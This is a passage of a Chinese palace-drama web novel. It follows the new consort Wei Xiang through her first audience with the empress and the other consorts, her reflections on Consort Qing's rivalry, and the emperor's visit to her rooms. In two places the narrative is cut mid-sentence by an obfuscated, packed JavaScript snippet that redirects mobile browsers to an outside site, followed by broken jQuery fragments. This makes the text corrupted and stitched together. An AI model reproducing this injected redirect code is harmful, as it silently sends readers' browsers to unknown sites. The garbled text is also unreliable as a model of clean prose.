不必皇后作声，仪景朝他一颔首，小宦童就退了出去。仪景扶皇后起身，却不急着出去，又由宫女们一同整理了一番衣裙，方往外移步。 椒房殿正殿里，各宫嫔妃尽已到齐，从四品贵嫔以上的主位依位份高低落座两侧，低位的小嫔妃们坐在后头的绣墩上。皇后没来时众人的相处不失活泼，各自吃茶谈天，耳闻宦官高唱一声“皇后至——”，众人倏然收声，皆起身失礼，肃穆恭敬。 卫湘此时并不在其中，她一到长秋宫就被皇后遣出来的大宫女请去了厢房，准备一会儿要按规矩敬奉给皇后的茶水。 沏茶于她而言自是没什么难，一盏正山小种只消片刻就已沏好，琼芳执着托盘上前为她端茶，先前那大宫女又来引路，一行人穿廊而过，入得外殿，却见正殿大门紧闭。 那宫女示意卫湘止步，径自行至供宫人行走的偏门处，轻叩两声。内里的宫女将门推开一道缝，大宫女低语一句，那宫女便入内去回了话。 不多时，正门左侧供嫔妃行走的侧门开了，卫湘垂首稳步入殿，琼芳端着茶水走那宫人的窄门，同样入殿。 片刻之间，卫湘清晰感受到满殿众人的目光都聚集过来，间又夹杂几许倒吸冷气的轻响，但她目不斜视，只向正当中行去。 皇后看清这张脸，亦不免一滞。卫湘低着头，一丝不苟地施大礼下拜：“臣妾临照宫淑女卫氏，叩见皇后娘娘。” 21.晨省（附后宫品秩表） 只这一句话，皇后的神情已恢复如常，颔首温声：“不必多礼了。” 卫湘谢了恩，拎裙起身，稍一侧首，琼芳便已上前，卫湘稳稳托起茶盏，欠身奉上：“恭请娘娘用茶。” 卫湘端着茶盏，神情恭肃，心下却紧张。 皇后之于嫔妃一如寻常人家的主母之于妾室，像她这样得封的，又与民间爬了家主床榻的侍婢别无二致。因而皇后若有意给她个下马威，实是再寻常不过的事，眼下六宫尽在，又无疑是最合适的时机。 卫湘在心下对自己说：撑过去便罢了。皇后再严厉，往后的日子也总比做宫人时要强，她没什么可委屈的。 然而手里的茶盏却很快就被接去，卫湘一怔，不由抬眸，皇后正自和颜悦色地吹茶，因觉察她的目光，便也睇了她一眼，继而抿了口茶，笑道：“你是御前出来的，一应规矩不必本宫提点。日后便都是自家姐妹，临照宫里又无主位照应，你若缺什么，便着人来长秋宫回话。” 卫湘连忙福身，口中轻言：“谢娘娘。” 皇后指指右首一位遍身珠翠的娇柔美人：“这是敏宸妃。” 卫湘行上前两步，深福：“敏宸妃娘娘万安。” 语毕，她没盼着能得什么好脸。 因这位敏宸妃虽位在从一品的高位上，却生性善妒，宫人间素有传闻。加之又与太后、谆太妃沾亲带故，为人也傲气些，想是不会将她这样出身的小嫔妃放在眼里。 果不其然，敏宸妃瞟开眼睛，看都没看她一眼，淡淡地“嗯”了一声。 皇后又说左侧的两位：“这是清妃、恭妃。” 卫湘不由呼吸一凝，转身施礼：“清妃娘娘万安，恭妃娘娘万安。” 她一边福下身去，一边不动声色地打量这位在宫中故事极多的清妃。 比起姿容秾丽的敏宸妃，清妃论样貌实在算不得出挑，最多只称得上清秀，倒很合她的封号。且她又是宠辱不惊的恬淡性子，这个清字放在她身上更是合宜。 清妃与恭妃受了卫湘的礼，恭妃只点了点头，清妃笑道：“卫淑女礼数很周全，无怪陛下喜欢，与本宫说起时赞不绝口。” 卫湘垂眸，再度福身：“谢娘娘夸赞，臣妾愧不敢当。” 清妃一哂：“淑女日后当尽心侍奉陛下，方不负圣恩。” 卫湘心里微滞，面上没有显露什么，应了声“诺，臣妾谨记”。 清妃又言：“本宫备了见面礼给你。” 语毕她睇了眼身边的掌事宫女，宫女会意，即刻从后头的小桌上捧来一方木匣，奉与卫湘。 琼芳上前代卫湘接了，清妃复又道：“只是些寻常首饰，淑女自己用也好、赏人也罢，莫要嫌弃。” “娘娘哪里的话。”卫湘笑道，语毕又福身道，“臣妾谢娘娘赏。” 皇后始终一语不发地微笑着，眉眼间俱是对六宫和睦相处的欣慰。待卫湘谢完了恩，她才再度启唇：“宫中姐妹众多，今儿便是一一说了，淑女只怕也记不住，日后相处一阵便都熟了。”说着目光扫过众人，口吻里多了两分严厉：“新来的妹妹你们都见着了，日后当好生相处才是。若有谁非要打些不该打的算盘，就莫怪本宫摆出六宫之主的身份整肃宫规了。” 满殿嫔妃闻言都忙离席跪地，卫湘亦跪下去，与众人齐应：“诺，臣妾谨记娘娘教诲。” 皇后不欲再多说什么，便命众人散了。众人皆守着礼数垂首往殿外退，退出这方正殿，卫湘就觉万千目光又朝她聚过来，但不及有人说话，便见一女官跟了出来，笑吟吟地一福：“诸位娘娘、娘子慢走。”又朝卫湘道，“恭贺淑女娘子晋封。皇后娘娘为娘子备了些赏，请娘子随奴婢来吧。” 卫湘已从琼芳口中知晓长秋宫的掌事女官名唤仪景，方才见这位始终侍立皇后身侧，便猜她就是。因而不由多了几分谨慎，尽力显得礼数周全。 仪景带她出了外殿，沿回廊西行至厢房，道：“请娘子稍坐。” 卫湘依言落座，仪景端了茶来，却是等了小半刻的工夫赏赐才端进来。 这一下进来八名宦官，前头四位各捧一托盘，盘中或是金银、或是首饰；后头四位分作两人一组，各抬一只木箱，一只装满绫罗绸缎，一只里是些竹雕、漆器。 卫湘忙站起来，眉目之间诚惶诚恐：“臣妾才刚得封，怎承得住这样厚的赏……” 仪景脸上得体的笑容一成不变：“赏赐颁下来，可没有推拒的道理，娘子安心带回去用便是了。” 卫湘低下头：“那便劳烦女官通禀，容我好生向皇后娘娘谢恩。” 仪景垂眸，笑喟：“皇后娘娘昨日受了风，今日晨起便有些恹恹的，此时已歇下了。娘子一会儿在殿外磕个头便好，奴婢也会为娘子将心意带到。” “有劳女官……”卫湘哑了哑，“愿娘娘好生养病，凤体安康。” 仪景欠了欠身：“自然。奴婢们也会尽心侍奉。”语毕她不动声色地扫了眼外头，见嫔妃们皆已离开，便送卫湘出门，先带卫湘去椒房殿外磕头谢恩，再一路亲自送到长秋宫门口。 卫湘离开前不免再与她客套几句，而后又目送她先回长秋宫中，才终于转身离开。 因卫湘身边人手不多，仪景差那八名宦官为卫湘将赏赐送回。卫湘便将心事按捺了一路没说，等回到瑶池苑，待那些宦官告了退，她坐在卧房的茶榻上静静歇了一会儿，才问琼芳：“清妃……时时与皇后这样较量么？” 琼芳原正在妆台前与积霖一道收拾卫湘新得的首饰，闻言相视一望，走向卫湘，笑道：“娘子觉察了。” 卫湘不由轻笑：“我才得封两日，就瞧见两出了，想不察觉都难。且说昨日赏的银钱——清妃反应那样快，想来陛下该是与她共用早膳时做的吩咐，那开私库、不算赏赐的话她便没有不知情的道理，却偏偏还要也跟着赏一笔下来。而且不仅在时间上只比陛下晚了片刻，数量上又只比陛下的少了一等，这岂不是有意让皇后难堪？” 琼芳听了她的话，静静垂眸不言。卫湘啜了口茶，继续说：“再说今日，我这新晋妃嫔去向皇后娘娘问安，皇后才不过关照了两句，清妃倒一句句更像当家主母一般，更还备了见面礼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13870350|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——那“见面礼”倘是敏宸妃、恭妃也备了，就是不成文的规矩。可敏宸妃没有，恭妃也没有，那清妃的举动就值得细细品味了。 这般再想下去，就无怪仪景说皇后给她备了赏，却是等了半晌才见赏赐颁来——说白了，这是和昨日赏银一样的事，皇后原本没这个打算，却被清妃架了上去，不得不为。 只是不得不说，皇后虽被摆了一道，做得却漂亮。清妃赏的是首饰，皇后便将首饰、银钱、衣料、器物都赏了些，关照到起居各处，自是更显正室尽职。 卫湘直言问琼芳：“清妃这是放不下旧事，是不是？” 琼芳长叹一声，缓缓摇头：“清妃与陛下有青梅竹马之宜，连先帝都早已准允了这桩婚事。孰料张老丞相溘然长逝，清妃不得不回乡守孝，先帝又恰好病重，日日忧心国祚，心烦意乱之下便为陛下另择了正妃……对清妃而言，这真真儿是到了眼前的太子正妃之位飞了。自此屈居妾室，谁又能甘心呢？” “倘若是我，要么当真将那位子争来，要么便算了。”卫湘淡淡，“在这些细枝末节上再计较也是无用。”说着忽而想起从前听到的种种，不由好笑，“宫里还都说清妃‘宠辱不惊’，可真是笑话了。” 琼芳听她这样讲，神情却肃穆起来：“娘子听奴婢一句劝——您便是不喜清妃，也莫要太先入为主了。” 卫湘浅怔：“怎么讲？” 琼芳敛目道：“一则，宫里没有几个傻的，清妃数年来能立稳这‘宠辱不惊’的名头，要么是真的，要么也是她有本事；二则是，从前那些旧怨她不甘心原是人之常情，眼下她人前人后对皇后实则也不缺礼数，暗地里争一口气，旁人说不得什么，就连皇后娘娘也不曾计较。” 她说着执起炉上暖着水的铜壶，将卫湘喝了半盏的茶又添了水，语重心长地续道：“再退一步讲，皇后与清妃再如何，也是与娘子不相干的事，娘子切莫因年轻气盛就将自己搅进不相干的乱局、招惹不相干的是非。倘能两不得罪，与她们都结个善缘，方是上上之策。” 这话令卫湘的心迅速沉了下来，仔细想想，琼芳所言不错。 过往种种与她皆无干系，便是清妃与皇后借着她的缘故争高低，她也没掉块肉，只得了实实在在的好处。 那她又何苦看清妃不痛快、何苦为皇后抱不平呢？ 这可真是因年轻气盛才有的义愤填膺。若无人提点，她只怕真要顺着这份义愤平白站了队、平白搅进本不相干的乱局里去了。 卫湘望向琼芳，流露感激：“多谢。” 而后片刻无话，积霖自顾收拾好妆台便出了屋，将各样赏赐一一记档。 过了约莫两刻，积霖再回房中，手里多了一沓纸笺，各色皆有，瞧制式倒像请帖。 卫湘见状不解这是什么帖，心生好奇，琼芳倒一眼扫过便已了然，边迎上前边笑问：“是各宫送来的？” 积霖点点头：“是。” 琼芳便向卫湘笑道：“该是宫中各处雅集的帖子了，娘子可挑几处喜欢的去玩一玩，只当打发时间。” 22.“劳碌” “雅集？”卫湘不觉一怔，这是她从前全然不曾听闻过的。 “是。”琼芳点点头，先递了一封帖子给她。卫湘伸手接过，只见这请帖用的是素白洒金的纸笺，上以黑墨纵写四个大字：松风听月。 字迹娟秀，温柔灵越。 琼芳在旁道：“这是文婕妤的诗社，因在后宫西北侧的‘松风听月’办，就以这四字做了诗社的名儿。通常是一月里办一两回，具体的时间随文婕妤的性，但通常不会是连着的。” 诗社，卫湘一听这二字就摇头，苦笑道：“这太雅了，我不懂这些，有没有别的？” 琼芳便递来下一封，用的是雅致的淡绿色洒金纸笺：“这是清妃娘娘‘拈芳集’，赏花插花的，娘子瞧瞧？” 插花倒好，只是清妃…… 琼芳的劝告虽不错，但卫湘想，还是离清妃远些为上。 顺着这般思绪，她跟着又问：“不知皇后娘娘素日爱去哪一处？” 琼芳正要递下一封，听她正好问起这个，笑道：“皇后娘娘不大凑这个趣儿。不过，这是恭妃娘娘的‘斟墨宴’，虽是叫这么个名儿，却与宴席无关，乃是写字画画的，皇后娘娘若是得闲，偶尔回去坐一坐。” 卫湘只点点头，接着问：“那闵淑女呢？” 琼芳道：“闵淑女从不去雅集的。” 这般一封封地瞧下去，前后用了近一刻，卫湘挑定了一封杏色书“品点小聚”的帖子。 从琳琅满目的雅集中挑定它的原因有四，一是这雅集乃是为制茶点、吃点心而设，卫湘不至于露怯；二是琼芳说集乃是凝姬所设，凝姬位在正五品，去这雅集的也大多是低位小嫔妃，卫湘可轻松些；三则是“品点小聚”这名字卫湘觉着可爱，“品一口点心”，想想都是甜的。 第四点最为重要，那便是这下一回“品点小聚”设在冬月廿六，也就是明天，是所有雅集中时间最近的。 卫湘想着，要尽快认一些人才好，哪怕只是一部分。 . 紫宸殿。 许是因今日没有紧要政务，楚元煜自午后就时常走神，手里明明读着官员呈上来问安的奏章，脑海中却总神使鬼差地浮现出一张杏眼粉腮的美妙面孔。有时耳边还会飘起她的声音，柔柔地问他：“陛下是来用晚膳，还是来吃宵夜呀？” 他说是晚膳，她就心满意足地笑了。 ……然后，当他回神的时候便总有些窘迫，即便殿中无人觐见，他也不免讪讪地干咳一声，缓解这份尴尬。 御前宫人们见状，已将缘故猜得八九不离十，但当然不会有人直言戳破。 这般一直到了下午四点，专供宫人行走的窄门外有人影投在门棂的韧皮纸上，却无人推门进殿。 侍立在御案不远处的容承渊抬了抬眼，不动声色地沿着殿墙迎出去，推开门，便见外面是自己那乖徒弟张为礼，手中端着托盘，托盘里放了碟浅棕色的软点。 容承渊回身阖上门，与他走远几步，又停下脚，张为礼这才压音禀道：“瑶池苑送了碟马蹄糕来。” 容承渊挑眉，“呵”地笑了一声，细问：“卫淑女亲手做的？” “那倒不是。”张为礼摇头，“琼芳说是卫淑女去尚食局为陛下熬粥熬到一半，碰上这道点心刚制出来。卫淑女想着陛下近来劳碌，恐怕会胃口不佳，觉得这马蹄糕清爽开胃，就要了来。” 张为礼一股脑将琼芳的说辞交待了个清楚，容承渊的思绪一时却有些岔。他细品着“近来劳碌”几个字，想起昨夜听见的动静，眯起眼睛：“嗯……”转而便回过神，信手接过张为礼手中的托盘，转身折回殿中。 他径直走到御案一侧，安静地收了桌上原本的两碟点心，换上这碟马蹄糕。 前头那两碟点心是三点时按规矩送进来的，往后除非天子有意另传膳食，否则下一顿便是晚膳。 于是楚元煜余光扫到那碟马蹄糕时不免一怔，边执盏饮茶边抬眸问：“这是？” 容承渊低着眼帘，抑扬顿挫：“卫淑女去尚食局为陛下熬粥熬到一半，正碰上这马蹄糕制出来。她想陛下昨夜劳碌，恐胃口不佳，觉得这马蹄糕清爽开胃，就着人送了来。” “咳——”一句“昨夜劳碌”，说得楚元煜险些呛了茶。 容承渊对皇帝的局促视若无睹，声线平静地又说：“再过半个时辰，卫淑女的粥就该熬好了吧。” 楚元煜乜他一眼，置若罔闻。容承渊也没有再说什么，仿佛刚才那句话只是闲谈间的随口一提。 他垂首退至一旁的阴影里，心底泛着一种复杂的玩味。 啧，卫氏…… 他很难说清心底的感觉，怎么讲呢？卫氏似乎比从前的莲嫔与褚美人更“妥帖”些。 如方才的事，在他与莲嫔和褚美人结盟之初，因彼此不够了解，也就没多少信任。她们便会担心他不明白她们的意思，因而总会让传话的人将心里的打算掰开揉碎地说给他听。 这样自是稳妥，只是容承渊对人素有提防，每每有这般的事，总疑心中间传话之人若不够可靠，这掰开揉碎的道理便是授人以柄。 而卫氏，似乎完全不担心他会错意，巧妙地拿捏住了一种“心照不宣”。她相信她只提一句“熬粥熬到一半”他就能明白她的意思，就能想法子请陛下早些过去。 这让他觉得她聪明，除此之外，还有一种令他分辨不清的愉悦。 自然，他也的确办得到她想要的事情。 因为容承渊那句状似无意的话，楚元煜虽竭力地想平心静气，却还是事与愿违地愈发坐卧不安。美人的容颜、声音，乃至昨夜芙蓉帐暖中的气息都萦绕在他心头，令他愈发觉得手里千篇一律的问安奏章枯燥无味。再想到她再过半个时辰就能将粥熬好，他心下更为自己寻起了借口，想着让美人苦等实在不妥。 想入非非间，那碟马蹄糕不知不觉已吃了半碟，丝丝缕缕的甜味沁入心脾，果真开了胃口，又让人觉得美人贴心。 终于，年轻的帝王溃不成军，撂下手中的奏章，无声地舒了口气，拉开抽屉寻出一物，收入怀中，起身向外走。 “陛下？”容承渊一边跟上，一边露出惑色，恍若不解他要去往何处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13883224|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 皇帝脚步不停：“去临照宫。” 话音未落，殿外候命的宦官已疾步向外赶去。于是自内殿到殿外虽不过几十丈之遥，皇帝出门时御辇已准备妥当，在宫人与侍卫的簇拥下，浩浩荡荡地往临照宫去了。 在圣驾穿过通往后宫的昭华门时，张为礼睇了个眼色，小何子便压住脚步，神不知鬼不觉地绕另一条路走了。 他年纪虽小，脚力却快，人也机灵，赶路前看了眼怀表，一路小跑到临照宫瑶池苑后也看了眼，心下又暗暗估算了御辇一贯的速度，进门后就直奔正屋，步入卧房绕过屏风，也顾不得见礼，开口就道：“淑女娘子！师父差奴来知会一声，圣驾再过半刻便要到了。” 卫湘才从尚食局回来不久，原想歇上一歇，闻言与琼芳相视一望，朝小何子笑道：“辛苦你了，积霖，带他去厢房吃点心去！” 这一方面是赏，一方面他如此赶来报信不宜让陛下知道。小何子便干脆地谢了恩，就随着积霖走了。 卫湘起身走到膳桌前，桌上正放着她刚从尚食局提回来的食盒，食盒里便是那道油菜清粥。她背对房门方向而立，在之后的半刻里，心神始终紧紧绷着。 终于，她余光扫见一行人浩浩荡荡地进了院门，便打开食盒盖子，将粥端出来，置于桌上。 皇帝步入卧房，尚不及绕过门前屏风，就听到琼芳的笑音：“娘子熬粥辛苦了一下午，还是先歇一歇吧！这会儿传膳实在早了些。” 他本没有在意，接着却响起卫湘柔媚的声音：“万一陛下今日得空，早早就来了呢？万一陛下饿了呢？万一陛下想快些用膳以便早些歇息呢？” 句句都是他。 皇帝不禁勾起笑容，足下顿住，想多听几句。 琼芳打趣道：“怨不得这样急，原是醉翁之意不在酒，并非急着用膳，是急着见夫君了？”语中一顿，接着便是成心逗她的口吻，“若陛下政务繁忙，今儿个顾不上过来呢？” “不会的！”卫湘的声音焦灼起来，执拗里染着不安，“陛下是君子，既说了要来，还能失约不成？” 琼芳又道：“那若忙到半夜才来呢？” 楚元煜的目光不自觉地探过屏风缝隙，只见那纤瘦单薄的倩影急得脊背紧绷：“他、他说晚膳就来！”说完这句，她忽而就没了底气，下一句便弱下去，“若真是忙到半夜，那我……” 卫湘咬咬下唇，无力地坐到椅子上，伏案小声嘟囔：“那我等他。” 太轻的四个字，楚元煜几乎听不真切，却真切感受到她的患得患失。 他无可奈何地一哂，绕过屏风，琼芳忙要见礼，被他以一个噤声的手势制止。 他走到她身后，她仍那样伏在桌上，没精打采的样子如同蔷薇失了木架的依托，只得委顿在地上打蔫。 他再探头看看，又见她连眼睛都闭上了，不知在想些什么。 楚元煜心里莫名生出顽意，蹲到她身侧却不吭声，只想等她睁眼。 等了片刻没等到，他只好出声：“早知你如此不安，一早就该把你带去紫宸殿。”